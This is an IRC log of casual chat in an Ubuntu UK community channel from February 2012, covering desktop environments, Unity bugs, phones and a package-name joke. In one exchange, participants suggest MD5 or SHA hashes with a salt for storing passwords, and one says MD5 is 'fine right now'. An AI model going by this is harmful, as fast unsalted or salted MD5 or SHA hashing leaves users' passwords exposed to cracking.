<bigcalm_lappy> VM connection has wandered off so I'm having to tap my phone's connection
<bigcalm_lappy> Not optimal
<diplo> Anyone here been on any VMWare courses that they could recommend
<diplo> ?
<diplo> We use ESXi and want to implement a few sites with replication etc
<diplo> So need to get full product, wondering if anyone has done any that they would recommend
<diplo> ( to many !!! )
<MooDoo> diplo: last vmware coure i went on was for 3.5 lol
<davmor2> morning all
<davmor2> czajkowski: PROD!!!! Morning
<bigcalm_lappy> Hi ho
<czajkowski> davmor2: good morning my chirpy friend
<diplo> MooDoo, Last time I looked at the products page of VMware there were maybe a dozen options
<davmor2> czajkowski: have a hug it's friday!
<diplo> now 5 dozen options :(
<czajkowski> yay
 * czajkowski hugs davmor2 
<davmor2> bigcalm_lappy: why you on lappy still?
<bigcalm_lappy> davmor2: throw me a cup of broadband. VM have snuffed it
<diplo> Also, anyone in here know anyone who may run IBM RS/6000's ?
<bigcalm_lappy> davmor2: connecting via my phone
<davmor2> bigcalm_lappy: sadtrombone.com
 * MooDoo slaps davmor2 with a fish
<bigcalm_lappy> :P
<davmor2> MooDoo: don't do that you'll upset the fish, morning dude
<MooDoo> davmor2: morning mate
<bigcalm_lappy> Hayley wants us to attend a wedding fair on Sunday. I hope there is a crÃ¨che for the men
<Myrtti> bigcalm_lappy: make your own with taking DVD's of Top Gear and a laptop with you
<bigcalm_lappy> :)
<Daviey> bigcalm_lappy: like the 'spouse chairs' in clothes shops?
<dgjones> bigcalm_lappy: As an excuse to not go, you could say it might give you hints about what wedding dress she might get, so it would be better if you don't go
<bigcalm_lappy> Daviey: yep
<bigcalm_lappy> Heh
<bigcalm_lappy> I'm sure we'll both have a good time. I'm just playing into the male stereo type ;)
<davmor2> bigcalm_lappy: ensure your phone is fully charged and you nod and hmmmmmmm nice in all the right places.  It's the wrong time of year to be attending funerals :D
<bigcalm_lappy> Is there a right time to attend?
<davmor2> bigcalm_lappy: if you can last till spring, summer the flowers are cheaper ;)
<bigcalm_lappy> Right
<davmor2> bigcalm_lappy: take your laptop to a coffee shop you know you want to ;)
<bigcalm_lappy> Sadly McDonald's is closer
<davmor2> bigcalm_lappy: yeah but the coffee suck
<bigcalm_lappy> I've had worse
 * directhex has windows phone, and likes it. zomg!
<bigcalm_lappy> :O
<popey> directhex: the crucial question of course.. can you get angry birds on it?
<directhex> yes!
<AlanBell> does it run mono apps?
<directhex> no! the wp7 sdk supports html/js apps and a silverlight subset, afaik
<AlanBell> heinz tomato soup with chilli is actually quite good
 * czajkowski has 2 angry bird plush toys glaring at me today while I work 
<directhex> wp7 has some flaws, but it's a really nice mobile os. it's a better fit for my lifestyle than the n9 was
<davmor2> czajkowski: no they glares at you, because you are you not because you are working :P
<bigcalm_lappy> czajkowski: don't pinch their eggs and you'll be safe
<directhex> or put two blue parrots in cages. that angers them too
<directhex> or send them to space
<bigcalm_lappy> Subway lunch?
<bigcalm_lappy> Don't mind if I do
<directhex> subway means a walk. burger king lunch!
<davmor2> bigcalm_lappy: you don't want to eat in a subway have you seen what the drunks get up to in them
<czajkowski> I've a red and yellow one
<bigcalm_lappy> Red and yellow drunk?
<bigcalm_lappy> Any lunch outside of home means a wee drive
<bigcalm_lappy> Brum brum
<AlanBell> http://dilbert.com/strips/comic/2012-02-23/ Dell Streak \o/
<popey> hah, thats brilliant
 * Azelphur_ buys oil rush through desura, wonder if it's any good :D
<directhex> AlanBell, i was wrong btw, Unity 3D can target WP7, and that's a product based on embedded Mono
<directhex> AlanBell, many lulz were had when Microsoft Game Studios started shipping WP7 games with Mono inside
 * popey hugs chrisccoulson  for http://paste.ubuntu.com/855375/
<chrisccoulson> :)
<AlanBell> \o/
<chrisccoulson> popey, did you see the screenshot too?
<chrisccoulson> https://twitter.com/#!/chrisccoulson/status/173046579161346048/photo/1
<popey> no
<popey> brilliant
<penguin42> chrisccoulson: Brilliant solution
<chrisccoulson> heh :)
 * penguin42 assumes that is a picture of a kitty.....
<directhex> chrisccoulson++
<directhex> chrisccoulson, is that pushed to the archive?
<penguin42> chrisccoulson: It's a shame you didn't call it pussyview which may have satisfied both sides
<chrisccoulson> directhex, not atm. somebody suggested that i might start a new world war if i did that ;)
<chrisccoulson> penguin42, lol
<directhex> chrisccoulson, do it now or i'll sponsor the upload immediately
<chrisccoulson> lol
<sagaci> ha
<directhex> not kidding!
 * penguin42 waits for chrisccoulson's solution to bible apps
<directhex> i am happy to upload bible apps as long as they are modular enough to handle any holy book
<popey> chrisccoulson: someone has pointed out to me that it should not be kitteh's.
<popey> no apostrophe
<chrisccoulson> oh, good catch ;)
<directhex> dpkg-source: info: applying pornview_0.2pre1-11ubuntu2.diff.gz
<directhex> now then now then...
<sagaci> chrisccoulson: hi, I just realised/remembered that you were involved with chromium... are there any updates/ideas for the translation templates for chromium in Launchpad -- since fta seems to be gone...?
<chrisccoulson> sagaci, oh, chromium is in pretty bad shape. nobody is maintaining it at all
<sagaci> is that a debian or ubuntu issue?
<chrisccoulson> it's a "there is nobody motivated enough about it in ubuntu" issue ;)
<sagaci> ah righteo then
<directhex> also it's a big jiggly mess
<brobostigon> hence the chromium ppa, having no updates for months.
<chrisccoulson> indeed. i would actually rather maintain 4 more versions of firefox than maintain chromium
<brobostigon> hence i am using google-chrome-unstable now.
<mgdm> Laney: ping?
<sagaci> I'd personally prefer to use chromium but I've just been using chrome of late
<directhex> BUNDLE THE WORLD! NO TIME TO EXPLAIN GET IN THE CAR!
<sagaci> big lion?
<brobostigon> sagaci: agreed, same here.
<popey> RWAR!
<directhex> autofoo is for losers. let's build our own build system! with blackjack! and hookers!
<chrisccoulson> lol @ https://twitter.com/#!/davmor2/status/173051931181322240
<chrisccoulson> perhaps it's impossible to make everybody happy ;)
<AlanBell> chrisccoulson: is it still for one handed browsing? (presumably because you are stroking a kitteh with the other hand)
<chrisccoulson> lol
<davmor2> chrisccoulson: everyone loves the cloud and it's the in thing call it cloudview :D
<AlanBell> PornView is an image and movie viewer/manager with thumbnail previews. Additional features includes thumbnail caching, directory tree views, adjustable zoom, and fullscreen view. Slideshows allow for unattended presentation of images for hands-free viewing. Pornview is written using GTK+.
<TheOpenSourcerer> What an Interesting conversation to come in on :-)
<AlanBell> hi TheOpenSourcerer
<TheOpenSourcerer> Hi AlanBell
<TheOpenSourcerer> Long time no speaky ;-)
 * AlanBell dials the speakyphone
<sagaci> PawnView, or PictureView
<DJones> sagaci: PawnView would get the financial watchdogs investigating it
<directhex> prawnview
<diplo> Anyone recommend a backup device for a SMB that they can take offsite, don't want tapes/or cloud based/rsync set up
<diplo> Standard usb hard disc, or something like the Dell RD1000 ?
<popey> pawnview
<popey> lawnview
<davmor2> chrisccoulson: I think we are missing the obviousness of prawnview
<chrisccoulson> lol
<gord> well the oneiric alpha iso doesn't work at all... not really allowed to complain about that though really
<Azelphur_> aww ye, native Linux games on my machine...turn all the graphics to max \o/
<popey> Azelphur_: you use desura much?
<Azelphur_> popey: yea I bought it through desura :)
<Azelphur_> I like Desura :p
<popey> yeah, saw that
<Azelphur_> I havn't used it too much yet, but I can certainly see it has potential
<popey> yeah
<Azelphur_> popey: wonder if they are going to implement something ala steam friends
<popey> i expect so
<Azelphur_> hopefully without all the terrible bits of steam friends though
<bigcalm[xoom]> This lack of broadband is giving me the shakes
<gord> i have to run steam on my phone just to be able to talk to people on my steam friends list when i'm not on windows... such a pain. don't need another one of them
<bigcalm[xoom]> Or is that the coffee?
<Azelphur_> haha weird, oil rush makes cairo dock crash
<Azelphur_> gord that's a bad thing, however I HAVE GOOD NEWS FOR YOU :P
<Azelphur_> gord my friend has reverse engineered the protocol on the steam mobile client and has a pidgin protocol plugin available.
<gord> Azelphur_, cool, get them to make a telepathy version
<Azelphur_> *shrug* he's a pidgin person, and empathy can load libpurple plugins anyway I believe?
<gord> i have no idea
<davmor2> bigcalm[xoom]: pretty sure you are still meant to be working or have you just given up on that :D
 * daubers needs 100cc of coffee
<daubers> STAT
<Azelphur_> !info telepathy-haze
<lubotu3> telepathy-haze (source: telepathy-haze): Telepathy connection manager that uses libpurple. In component main, is optional. Version 0.5.0-1 (oneiric), package size 75 kB, installed size 320 kB
 * gord thinks we may lose the patient
<Azelphur_> gord ^ :D
<gord> Azelphur_, and what libpurple do i need?
<Azelphur_> No idea really, I just built it against pidgin since I'm a pidgin user
<Azelphur_> http://code.google.com/p/pidgin-opensteamworks/source/browse/#svn%2Ftrunk%2Fsteam-mobile
<Azelphur_> gcc -I/home/azelphur/Code/pidgin/pidgin-2.10.0/libpurple/ -I/usr/lib/x86_64-linux-gnu/glib-2.0/include/ -I/usr/include/glib-2.0 -I/usr/include/purple-2 -I/usr/include/json-glib-1.0 -lglib-2.0 -lpurple -I. -pipe *.c -fPIC -DPIC -ljson-glib-1.0 -shared -o libsteam.so
<Azelphur_> is the line I used to build it
<diplo> :p
<Azelphur_> very early in development obviously, but it works and I'm using it
<bigcalm[xoom]> davmor2: I am implementing oauth2 for an api im writing. Bits can be done, tricky without a net connection though
<gord> Azelphur_, ah not in a released version, shame
<davmor2> bigcalm[xoom]: still no T'interweb then
<Azelphur_> gord nothing besides the source no, but still, it's working :)
<Azelphur_> so, it's a good alternative for you when he starts building I guess
<bigcalm[xoom]> I need to store a hashed password in a table. What's the recommended algorithm for this? Md5, sha1, other?
<gord> i want a ppa :)
<Azelphur_> want fries with that? :P
<gord> bigcalm[xoom], rot 13
<bigcalm[xoom]> davmor2:  I guess vm are having trouble fixing it. They need to do it before end of school or they will have a lot more unhappy custom on the phone
<bigcalm[xoom]> gord: lol
<davmor2> bigcalm[xoom]: only one
<gord> bigcalm[xoom], i think md5 is fine right now, but sha2 has more legs, sha1 is depreciated
<bigcalm[xoom]|> Oh T-Mobile, don't you start
<bigcalm[xoom]|> davmor2: only one what?
<bigcalm[xoom]|> gord: one can google md5 hashes and get surprising results
<diplo> md5decrypter.co.uk
<BigRedS> bigcalm[xoom]|: seed it
<davmor2> I just saw the unhappy custom on the phone  and not the lot more bit ;)
<gord> well md5 has a smaller digest size, so that is to be expected
<BigRedS> anything is vulnerable to rainbow tables, so if you're concerned use a seed
<bigcalm[xoom]|> Ta
<bigcalm[xoom]|> I just tried to google from my work station :(
<davmor2> bigcalm[xoom]|: Can you say D'oh!!!!!!!!!
<bigcalm[xoom]|> I can grumble
<davmor2> bigcalm[xoom]|: Can you say shuggin' fashin', shuggin' fashin', Dick Dastardly!
<davmor2> bigcalm[xoom]|: is it just net or everything?
<bigcalm[xoom]|> Just net. Tv and phone are ok
<penguin42> bigcalm[xoom]|: You mustn't just store the hash - add some form of salt
<penguin42> bigcalm[xoom]|: There are now enough md5/sha's of common passwords on the net to make the easiest way to check them to google the hash
<bigcalm[xoom]|> That's what I eluded to
<BigRedS> doesn't one normally elude *from* (or simply elude)?
<BigRedS> </pedant>
<penguin42> BigRedS: I've never heard someone refer to eluding from
<BigRedS> no, but eluding definitely doesn't normally happen to
<Laney> mgdm: HELLO!!!!!!!!
<bigcalm[xoom]> Humf
<mgdm> Laney: do you want me to do anything for that Pandoc thing (be it request a backport or whatever) and if so where?
<Laney> mgdm: I need to ask Jonas to update it in Debian
<Laney> you could do that if you like
<mgdm> is that more than just 'emal and go "can you update it please?"'
<Laney> nein
<Laney> you could file it as a wishlist bug
<mgdm> OK
<mgdm> I shall do that
<bigcalm[xoom]|> Silly T-Mobile is silly
<davmor2> Happy Friday everyone
<danfish> AlanBell: which mailing list is going potty at the mo? (seen your tweets)
<AlanBell> danfish: I tweeted a link to it :)
<danfish> AlanBell: oh yeah. thanks
 * danfish has a look then steps hastily back
<AlanBell> chrisccoulson: did kittyview hit the archives yet?
<davmor2> AlanBell: I think you'll find we agreed on prawnview to not offend the dog owners and cat hating czajkowski
<AlanBell> oh, can I suggest chickenview then?
<gordonjcp> wtf
<gordonjcp> czajkowski hates cats?  I knew there was something *wrong* about her... :-/
<gordonjcp> how can you hate cats and be on the Internet?
<davmor2> AlanBell: might offend the battery farmed chickens if they see free ones ;)
<ali1234> hmm i think i just found the mailing list thing you were talking about earlier
<ali1234> OP has a point. the dash has a really nasty habit of finding things you don't want people to see at the exact time they happen to be watching over your shoulder.
<AlanBell> yes, the adverts should not be in the apps lens
<ali1234> not just adverts. remember that screenshot where the guy had loads of torrents in the dash?
<AlanBell> http://www.markshuttleworth.com/archives/717
<ali1234> well ok, one
<ali1234> but you get the idea
<directhex> moo
<AlanBell> ali1234: this is zeitgeist, it tracks what you do and is according to some people a good idea
<ali1234> i know
<ali1234> i turned it off
<hamitron> evening all
<hamitron> :)
<ali1234> but i'm an expert
<zleap> 26th April for 12.04 release right
<AlanBell> I don't think I have ever seen it do something usefull
<zleap> i am trying to get it mentioned in my local community partnership magazine
<AlanBell> yes zleap
<AlanBell> https://wiki.ubuntu.com/PrecisePangolin/ReleaseSchedule
<davmor2> ali1234: you can just use the privacy tool
<ali1234> yes, that's what i did
<ali1234> blacklist *
<zleap> ok ty,  this should go in the April issue,  by whichj time i may have this computer group up and running,  and may be try and see if any young people want a release party :D
<zleap> or a demo event at the may dc/Lug meet
<AlanBell> excellent zleap  :)
<zleap> :)
<zleap> youth service are waiting on references
<zleap> more burocratic nonsense basically
<ubuntuuk-planet> [Jono Bacon] Reminder: Ubuntu Global Jam Video Q+A Coming Up! - http://www.jonobacon.org/2012/02/24/reminder-ubuntu-global-jam-video-qa-coming-up/
<DJones> Has anybody tried this gnome2 fallback mode for 12.04 http://ubuntuforums.org/showthread.php?t=1928350
<ali1234> no, but i assume it's the new port of gnome-panel to gtk3?
<ali1234> (or maybe it still uses gtk2)
 * DJones loads up virtualbox
<ali1234> i really hate forums that don't let you see images unless you log in
<hamitron> or download files
<DJones> Looking through the thread, "It's Gnome 3 that's skinned to look like Gnome 2"
<ali1234> oh that.
<ali1234> awful
<hamitron> :/
<ali1234> you can't move the panel around
<ali1234> you can't do anything useful with the second monitor
<zleap> ok they won't put inthe release date for ubuntu 12.04 as aparenly it won;t mean much to most people
<ali1234> it's basically "gnome 2 if you configured it to be as much like gnome shell as possible and only have 1 monitor"
<ali1234> there is a way to run gnome panel in gtk3/12.04 though, supposedly
<Azelphur_> If your after multi monitor support, XFCE is good :D
<ali1234> no it isn't
 * Azelphur_ is a quad monitor user
<zleap> so will keep trying places, time to print out more posters and put ubuntu stickers in random places :D
<hamitron> I used to like XFCE, now just don't seem to
<ali1234> all the standard xfce applications are years out of date
<ali1234> i'm talking about the video player, the terminal, and the file manager
<ali1234> and if i use the gnome ones instead, i can't configure anything properly
<Azelphur_> I use most gnome things instead, nautilus and totem :)
<ali1234> KDE and gnome at least share most settings through xdg
<ali1234> run a gnome app in kde, it looks like kde
<ali1234> run a kde ap in gnome, it looks like gnome
<ali1234> run a gnome or kde app in xfce, it looks like a mess
<Azelphur_> hehe
<ali1234> because xfce is horribly out of date and doesn't support anything like that
<Azelphur_> my apps are themed fine
<ali1234> show a screenshot, i bet i can find at least 3 problems with the themeing
<hamitron> themes are not everything.... better to have a mismatched theme, but with the correct functionality
<ali1234> i disagree
<Azelphur_> http://dl.dropbox.com/u/3832397/screenshots/2012/February/2012-02-08-030714_3840x1200_scrot.png
<ali1234> ...
<ali1234> you only have 1 program running
<ali1234> and no panels
<MartijnVdS> Hahaha http://www.youtube.com/watch?v=j-kbMF1GF2A#!
<Azelphur_> ali1234: http://dl.dropbox.com/u/3832397/screenshots/2012/February/2012-02-24-193905_874x632_scrot.png
<ali1234> o_O
<ali1234> the drop "shadow" on those radio buttons is a crime
<Azelphur_> that's more the specific theme I've chosen rather than an issue in XFCE :)
<ali1234> the text on the frames appears to be in a totally different font for some reason
<ali1234> yes, well if you pick a theme that's hideous to start with it's kind of hard to notice when it breaks i guess :)
<Azelphur_> ali1234: *shrug* It's the only theme that actually uses black as a base colour I could find
<Azelphur_> I dunno why everybody insists on using bright colors for background
<ali1234> because it's much easier to read
<Azelphur_> ali1234: nope
<ali1234> unless you're a cave-dweller :)
<Azelphur_> ali1234: whites more intensive on your eyes, white is more of a highlight color, while black is null, void
<Azelphur_> black backgrounds should be the norm, white is for things of actual relevance (eg text)
<Azelphur_> plus it looks cool because it totally matches my monitors. :D
<ali1234> so, on your first screenshot, why is the window title text much bigger than the font used inside the windows?
<ali1234> the kerning is also terrible
<ali1234> Pid ginView lol
<Azelphur_> because I specifically set the font size lower in pidgin to squeeze more text in
<Azelphur_> ali1234: haha, my little window switcher to manage the madness :P
<ali1234> on the menus?
<Azelphur_> in the pidgin menus, yes
<DJones> Don't know if its the same for monitors as it is for projectors, I'm always advised that the bext colours for reading on a projector are yellow text on a blue background
<ali1234> so why don't you make the titlebar text smaller to match it?
<ali1234> how can you even look at that without getting annoyed?
<DJones> But being honest, to me, it looks awefull
<Azelphur_> ali1234: pretty fine, no reason that window title bars should have the same font size as the content :P
 * hamitron doesn't in KDE either
<ali1234> moving on...
<Azelphur_> hehe
<ali1234> why is the gap between names in the nicklist bigger than the height of the actual nicks?
<Azelphur_> not sure what you mean by that
<jacobw> in..?
<ali1234> "26 people in room"
<ali1234> then a list of nicks
<ali1234> Chanserv, Edge, ...
<ali1234> why is the gap between the bottom of the "C" and the top of "E" so big?
<ali1234> i don't even know how you could have configured that
<Azelphur_> *shrug* I think perhaps that's derived by the theme again
<Azelphur_> It's just a standard gtk widget
<ali1234> distance between nicks shoulw be the same as the distance between the messages
<Azelphur_> *Shrug* could probably squeeze one or two extra nicks in the list
 * jacobw snuggles irssi
<Azelphur_> jacobw: irssi can't do horizontal tiling :(
<ali1234> purely for aesthetic reasons
 * Azelphur_ can see all the things
<jacobw> sure it can, or rather, tmux can :)
<Azelphur_> jacobw: would require running like 15 instances of irssi in some really weird setup
<jacobw> yeah, it wouldn't work
<ali1234> it would be awful
<davmor2> byobu-tmux ftw
<ali1234> you want to type in window 13? sure, just press ctrl-a ctrl-n 13 times!
<Azelphur_> jacobw: not being able to tile IRC was one of my major gripes when I switched from windows, it's what I came up with to solve it :P
<Azelphur_> haha
<jacobw> i'm glad byobu uses tmux now
<ali1234> tmux is for people who think clicking in a window is too easy
<jacobw> well, it is :p
<ali1234> screen is for people who need to run a long running command on a remote server and don't want it to get killed by a hang up
<brobostigon> well, i changed back to byobu-screen on my vps, as byobu-tmux was ram and cpu hungry.
<ali1234> tmux also doesn't support -D
<ali1234> which is the most useful screen option ever
<brobostigon> byobu-tmux alone, used %20 ram, not acceptable.
<ali1234> since it allows you to automatically run a session inside any context and then remotely connect to it later
<davmor2> ali1234: you can disconnect from byobu-tmux and reconnect
<brobostigon> byobu-screen uses basiclly nothing measurable.
<ali1234> you can't disconnect from it until it is already running
<ali1234> i think it's a different switch actually
<ali1234> ah -d -m
<ali1234> eg put "while 1; do screen -d -m; done" in your gnome-session startup
<ali1234> you are now able to ssh into the machine and access a shell inside the X11 security context
<ali1234> actually don't do that, you'll get millions of screens :)
<ali1234> you need -D -m, which doesn't fork
<ali1234> so i was half right
<jacobw> :)
<ali1234> anyway, tmux can't do that afaik
<jacobw> weekends are boring
<dwatkins> tmux is confusing with reattaching
<penguin42> ooh a play.com advert for a cheap Android tablet for only Â£NaN
<Azelphur_> Must buy!
<jacobw> penguin42: ooh
<ali1234> asda were selling the archos 28 for Â£30 today
<penguin42> gah - it's Â£69.99 when you click through
<ali1234> only on the website. it's sold out
<ali1234> also it's only a tablet in the sense that it isn't a phone
<Laney> 69.99 clearly is a number
<Laney> complain!
<gordonjcp> ali1234: so, it's a phone, without the GSM chipset?
<jacobw> it takes 7 minutes to walk to the supermarket, and about 4 minutes to purchase something, making an 18 minutes round trip
<jacobw> how badly do i want tangfastics? :|
<gordonjcp> and because of its daft form factor it can't be mounted in landscape format without looking stupid
<ali1234> gordonjcp: pretty much yes
<ali1234> gordonjcp: if you want something that's portrait and mountable you want the archos 32 home connect
<ali1234> er i mean landscape
<gordonjcp> ali1234: so as a tablet to be mounted in the space where a rear view mirror would go, it's still not what I'm looking for
<gordonjcp> hm, that looks fairly decent
<ali1234> and  meant 35
<gordonjcp> even better
<ali1234> resistive touchscreen would probably be bad for mounting in a car
<ali1234> cos you have to press really hard
<ali1234> you'd need a good mount
<gordonjcp> yeah
<gordonjcp> I was going to make a bracket up to go onto a mounting point just above the windscreen
<penguin42> jacobw: Why does the supermarket take so long - don't they have a self-scan ?
 * penguin42 waits the extra minute or so for him to return
<bigcalm_lappy> Update manager wants to have some fun. Do I let it download 43.5mb over my mobile connection I wonder
<ali1234> i had 500mb of updates today
<bigcalm_lappy> ali1234: 12.04?
<ali1234> yes
<bigcalm_lappy> :)
<ali1234> now there's another 71mb since 5 hours ago
<popey> wheee as everything lands
<MartijnVdS> Instead of doing that throughout the cycle..
<popey> sadly wasnt ready
 * bigcalm_lappy whimpers without his broadband connection
<MartijnVdS> popey: at least it's not late March ;)
<popey> indeed
 * MartijnVdS is going to report a lot of bugs on Monday
<bigcalm_lappy> popey: laptop fully working now?
<AlanBell> there should be another libreoffice upgrade to come (at least one)
<MartijnVdS> My work machine has an ATi card and it does WEIRD things
<MartijnVdS> (unity (panel, dock) shows up when the screensaver is active, for instance).. and right-click menus only show up after selecting one of the items in them
<AlanBell> if you have a big screen and LibreOffice won't start then you have to remove libreoffice-gtk which takes out all the pretty
<ali1234> MartijnVdS: when you report the menu one tell em it affects nvidia too
<ali1234> and it's all menus
<popey> bigcalm_lappy: ya
<MartijnVdS> ali1234: https://bugs.launchpad.net/ubuntu/+source/unity/+bug/916981
<lubotu3> Launchpad bug 916981 in unity (Ubuntu) "Popup artifacts using google chrome right click mouse menu" [Undecided,Incomplete]
<popey> i already filed the menu's not appearing bug
<bigcalm_lappy> popey: good show :)
<popey> and have someone working on it
<MartijnVdS> popey: Ah, #? :)
<popey> bug 931473
<lubotu3> Launchpad bug 931473 in Compiz Workarounds Plugins "Menus don't fully appear" [Medium,In progress] https://launchpad.net/bugs/931473
<popey> later than yours
<ali1234> MartijnVdS: that one sounds different to what i'm seeing
<ali1234> popey's bug sounds closer to mine
<MartijnVdS> I get what popey gets, but even less "working" menu bits
<ali1234> popey: each menu item appears only after you've moused over it right?
<ali1234> screenshot looks right too
<popey> yes
<popey> thats just one exaple
<popey> sometimes you just see the drop shadow
<ali1234> yeah
<ali1234> normally i get the drop shaow and what ever option is directly under the mouse
<popey> yeah
<MartijnVdS> marking as 'affects me'
<popey> http://www.youtube.com/watch?v=7RE9btMmFn0
<popey> shows it
<ali1234> it's not movement based :)
<MartijnVdS> it's window-switching related
<ali1234> you have to focus another window and then go bac, then it will do it
<popey> oooh
<popey> easy to reproduce
<ali1234> yeah
<popey> can you please leave a comment about how easy that is to reproduce?
<ali1234> sure
<popey> ta
<popey> actually scratch that
<popey> its already fixed âº
<ali1234> ok :)
<popey> once it gets merged
<popey> " The problem is with wrong XDamageNotifyEvents that we get from X"
<popey> "We get invalid areas that are said to be 'needing redraw' in case of menus"
<ali1234> hmm how do i even access the right-click-titlebar menu on a maximized window?
<ali1234> if you have multimonitor, and you have a maximized window on onitor 1 and a focused window on monitor 2, the panel on monitor 1 should show the close button and menus for the maximized window on monitor 1. not the name of the focussed window on monitor 2
<popey> alt+space âº
<ali1234> popey: have you seen the thing with fullscreen windows that don't draw?
<ali1234> it's probably related
<popey> no
<occupy64k> Trying Unity again
<ali1234> argh who unplugged youtube
<christian__> yo
<christian__> anyone alive
<AlanBell> daubers: https://wiki.ubuntu.com/IRC/SupportersGuide and anyone else interested
<KrimZon> I don't see any "Don't refer to releases by rude parodies of their codename" in there.
 * popey boggles that the guide recommends people _search_ ubuntu forums, yet not search askubuntu?
<popey> there seems to be some obsession in the irc community that askubuntu is somehow bad, and ubuntuforums is good. quite odd
 * AlanBell says it *is* a wiki
<AlanBell> and it *was* an etherpad
<popey> its not that I want to correct it
<popey> it's that the attitude speaks volumes
<popey> there is something fundamentally wrong there
<AlanBell> can't say I use either
<AlanBell> I don't think there is any attitude involved, one person who was drafting the document clearly finds some value in the forums, nobody involved in askubuntu added that as a thing in the guidelines yet
<popey> its not just that document
<AlanBell> we were discussing some kind of integration between #ubuntu-meta and askubuntu
<popey> there's quite an embedded attitude that's been around ever since au started, it hasn't really changed. a resistance to it.
<mattt> evening evening
#ubuntu-uk 2012-02-25
<AlanBell> http://askubuntu.com/questions/107442/orca-screen-reader/107473#107473 yay I did a thing on askubuntu to correct some fantasically crap advice that someone was given there
<gord> i've only one experience with ask ubuntu, and that is that i have an rss feed from it in my google homepage. whenever i see a question i can answer i go there to find someone else has done a good job of answering it anyway.
 * popey votes AlanBell up
<AlanBell> somehow I have a reputation of 137, without actually thinking I use askubuntu at all
<penguin42> AlanBell: You sure your chickens aren't doing stuff while you're out?
<AlanBell> that is probably it
<jpds> They're probably crossing the road.
<Azelphur> Does anyone know how to force an upgrade on a package to a version available in a newer ubuntu release?
<Azelphur> also, does anyone know what to do in order to point out that the version of the application in the repo is actually, 100% broken and needs to be updated
<ubuntuuk-planet> [Jono Bacon] Calling All Twisted Daemon Experts - http://www.jonobacon.org/2012/02/25/calling-all-twisted-daemon-experts/
<MartijnVdS> Azelphur: use a backport, or add the new ubuntu version to sources.list and pin it (apt pinning is your google keyword here), then apt-get install pkg=version
<MartijnVdS> Azelphur: and "file a bug"
<jacobw> morning ubunteros
<AlanBell> morning
<brobostigon> good morning everyone,
<dwatkins> hiya folks
<brobostigon> hi dwatkins
<dwatkins> I forgot to log in to my Ubuntu machine, that makes using x11vnc a little difficult...
<TheOpenSourcerer> popey: ping
<KrimZon> I once set up xrdp on a machine to remote into it - it would create a new x session for each login
<daubers> Morning
<AlanBell> anyone got a Samsung Galaxy Y (or other budget smartphone suggestion)
<directhex> how budget is budget?
<AlanBell> Â£15/month preferably free handset
<directhex> various low-end galaxies exist at that price point
<directhex> acer liquid express from orange?
<directhex> or from tmobile with moare data
<directhex> xperia neo v? htc wildfire s?
<directhex> couple of LGs from O2 at that rate, or a refurb galaxy s2 for Â£60
<AlanBell> thanks
<AlanBell> where is the refurb s2?
<TheOpenSourcerer> AlanBell: Wifey has the Galaxy Ace and is happy with it.
<TheOpenSourcerer> Got it from CPW
<AlanBell> that is a possibility
<AlanBell> http://shop.o2.co.uk/mobile_phone/pay_monthly/24_months/100MB/BlackBerry/Torch%209860 this looks like a good deal. Not Android, but quite cheap for a decent phone I think
<TheOpenSourcerer> anyone got a init script to start/stop a minecraft server? Am trying this one but it aint working and no logs: https://github.com/Ahtenus/minecraft-init
<jacobw> obvious question, doesn't minecraft-server provide its own init scripts?
<TheOpenSourcerer> jacobw: if it did do you not think I would have tried it?
<jacobw> i'm just kind of suprised it dosen't
<TheOpenSourcerer> it's just a jar
<jacobw> i realise that might be annoying ;)
<jacobw> i can't see any logging stuff in the code
<jacobw> have you done all this stuff https://github.com/Ahtenus/minecraft-init/blob/master/readme.markdown
<TheOpenSourcerer> found a different script that seems to work: https://github.com/ajoberstar/minecraft-init
<jacobw> awesome :)
<TheOpenSourcerer> My son is now a happy chap.
<TheOpenSourcerer> Anyone know any friendly Swedes who could spare my wife an hr? (or even a Norwegian might do it? eh christel_ ;-) ) https://twitter.com/#!/opensourcerer/status/173380412868001792
<jacobw> translation?
<czajkowski> TheOpenSourcerer: drop her a mail her mum is visiting so she's not on irc
<popey> TheOpenSourcerer: pong
<TheOpenSourcerer> Hi popey Was going to ask about minecraft servers and OpenJDK but it seems to be running fine :-) I have a happy son whose is sending out an IP address to his mates.
<popey> excellent
<daubers> Urgh, covered in roof tile dust now
<cliftonts> what are you up to daubers?
<daubers> cliftonts: Running cables through the roof at the hackspace
<cliftonts> aah right
<daubers> And screaming at the router
<daubers> no-one seems to have the password for it :)
<cliftonts> lol
<cliftonts> daubers: well the Tottenham Court Road computer fair is DEAD today!
 * daubers closes up the hackspace
<AlanBell> afternoon all
 * AlanBell has been out hat shopping
<MartijnVdS> Top hat? Bowler hat?
<brobostigon> deer stalker?
<penguin42> thing with bells
<MartijnVdS> penguin42: one of those jester hats you mean? :)
<penguin42> MartijnVdS: Yeh
 * penguin42 hopes AlanBell hasn't been buying a Fedora
<MartijnVdS> Maybe a cowboy hat
<MartijnVdS> or a sombrero
<AlanBell> http://www.orvis.co.uk/store/product.aspx?pf_id=7910&dir_id=466&group_id=10625&cat_id=11585&subcat_id=11586
<AlanBell> mine is black which isn't shown on the website
<penguin42> Gah! He has bought a Fedora!
<AlanBell> it isn't red
<penguin42> true
<AlanBell> they didn't have one in #dd4814
<penguin42> that would be pretty special
<brobostigon> wales 12 : 12 eng.
<AlanBell> czajkowski: what train are you getting to Reading?
<brobostigon> wales 19 : 12 eng. wales are doing pretty well, really.
<czajkowski> AlanBell: aiming to be there for 12:30
<czajkowski> how about you
<MartijnVdS> Heh, Picasa's face detector + pictures from a family reunion = confusion all around
<MartijnVdS> it's tagging 2 aunts as 1 person, and 3 nieces as 1 person :)
<gordonjcp> hehe
<brobostigon> lol
<MartijnVdS> Well they do look alike (as they're family), but still.. :)
<AlanBell> czajkowski: well I have car so can do any time really, I can meet you at the station perhaps
<AlanBell> I will be the one in a hat
<czajkowski> sure
<czajkowski> dont know where the train staion is in relation to the stadium?
<MartijnVdS> czajkowski: Check google maps ;)
<czajkowski> MartijnVdS: you dont say ;)
<czajkowski> was more of a passing comment
<MartijnVdS> :)
<AlanBell> more than a walk
<MartijnVdS> Wonder of our age, that
<AlanBell> there are probably buses or some kind of organised way to get there, but I have a car and free parking
<AlanBell> though last time czajkowski got in my car I had to scrap it the next day
<gordonjcp> o_O
<czajkowski> AlanBell: hah forgot about that
<gordonjcp> sounds like a story worth the telling...
 * daubers makes cake
<christel> mmmcake
<MartijnVdS> \o/ cake
<penguin42> typeof(cake) ?
<MartijnVdS> sizeof(cake) ?
<daubers> typeof(cake) = victoria_sponge; sizeof(cake)=20cm;
<daubers> or should that be (cm) 20
<daubers> Hmmm...
